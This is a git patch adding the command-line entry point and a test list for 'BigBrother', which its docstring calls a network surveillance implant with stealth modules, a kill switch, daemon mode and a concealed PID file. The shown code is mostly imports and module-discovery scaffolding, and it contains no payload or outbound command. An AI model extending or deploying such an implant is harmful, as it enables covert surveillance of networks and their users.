From 3394c72814341ed6159c4b7cf28fc91e93f9732b Mon Sep 17 00:00:00 2001 From: n0mad1k Date: Wed, 18 Mar 2026 09:48:23 -0400 Subject: [PATCH] Add main CLI entry point and full test suite - bigbrother.py: Click CLI with start/stop/status/activate/deactivate/ kill/config/selftest/modules commands plus Rich interactive menu. Module discovery scans modules/stealth/ for BaseModule subclasses. Supports --daemon mode with PID file and --passive-only flag. - tests/conftest.py: Shared fixtures (tmp_dir, mock_config, mock_bus, mock_state, hardware_tier_override, project_root) - tests/test_bus.py: 6 tests for EventBus pub/sub, filtering, wildcards - tests/test_engine.py: 5 tests for Engine lifecycle, deps, tier, phase - tests/test_crypto.py: 5 tests for AES-256-GCM, file encryption, KDF - tests/test_resource.py: 7 tests for hardware detection, memory, disk - tests/test_tool_manager.py: 6 tests for subprocess management - tests/test_stealth_modules.py: 4 parametrized test classes covering all 12 stealth modules (import, inheritance, attributes, instantiation) --- bigbrother.py | 625 ++++++++++++++++++++++++++++++++ tests/{.gitkeep => __init__.py} | 0 tests/conftest.py | 117 ++++++ tests/test_bus.py | 134 +++++++ tests/test_crypto.py | 105 ++++++ tests/test_engine.py | 175 +++++++++ tests/test_resource.py | 85 +++++ tests/test_stealth_modules.py | 113 ++++++ tests/test_tool_manager.py | 162 +++++++++ 9 files changed, 1516 insertions(+) create mode 100755 bigbrother.py rename tests/{.gitkeep => __init__.py} (100%) create mode 100644 tests/conftest.py create mode 100644 tests/test_bus.py create mode 100644 tests/test_crypto.py create mode 100644 tests/test_engine.py create mode 100644 tests/test_resource.py create mode 100644 tests/test_stealth_modules.py create mode 100644 tests/test_tool_manager.py diff --git a/bigbrother.py b/bigbrother.py new file mode 100755 index 0000000..92adb50 --- /dev/null +++ b/bigbrother.py @@ -0,0 +1,625 @@ +#!/usr/bin/env python3 +"""BigBrother — Network surveillance implant CLI. + +Main entry point: Click-based CLI + Rich interactive menu. +Manages module lifecycle, status monitoring, and kill switch. +""" + +import os +import sys +import time +import signal +import logging +import inspect +import importlib +from pathlib import Path +from typing import Dict, List, Optional, Type + +import click +from rich.console import Console +from rich.table import Table +from rich.panel import Panel +from rich.text import Text +from rich.prompt import Prompt + +# Ensure project root is on sys.path +PROJECT_ROOT = str(Path(__file__).resolve().parent) +if PROJECT_ROOT not in sys.path: + sys.path.insert(0, PROJECT_ROOT) + +from core.bus import EventBus +from core.state import StateManager +from core.engine import Engine, detect_hardware_tier, HARDWARE_TIERS +from core.tool_manager import ToolManager +from core.scheduler import Scheduler +from core.resource_monitor import ResourceMonitor +from core.kill_switch import KillSwitch +from modules.base import BaseModule +from utils.config_loader import load_config, ConfigLoader +from utils.resource import ( + detect_hardware, + get_resource_usage, + get_hardware_tier, + get_cpu_temperature, + get_disk_usage, +) + +console = Console() +logger = logging.getLogger("bb.cli") + +# PID file for daemon mode +PID_FILE = "/tmp/.bb.pid" + + +# --------------------------------------------------------------------------- +# Module discovery +# --------------------------------------------------------------------------- + +def discover_stealth_modules() -> Dict[str, Type[BaseModule]]: + """Scan modules/stealth/ for BaseModule subclasses.""" + modules: Dict[str, Type[BaseModule]] = {} + stealth_dir = os.path.join(PROJECT_ROOT, "modules", "stealth") + + if not os.path.isdir(stealth_dir): + return modules + + for filename in sorted(os.listdir(stealth_dir)): + if filename.startswith("_") or not filename.endswith(".py"): + continue + + module_name = filename[:-3] + dotted = f"modules.stealth.{module_name}" + + try: + mod = importlib.import_module(dotted) + except Exception as exc: + logger.debug("Failed to import %s: %s", dotted, exc) + continue + + for attr_name in dir(mod): + obj = getattr(mod, attr_name) + if ( + isinstance(obj, type) + and issubclass(obj, BaseModule) + and obj is not BaseModule + and hasattr(obj, "name") + and obj.name != "unnamed" + ): + modules[obj.name] = obj + + return modules + + +def get_module_config(module_name: str, config: dict) -> dict: + """Extract module-specific config from the master config.""" + #
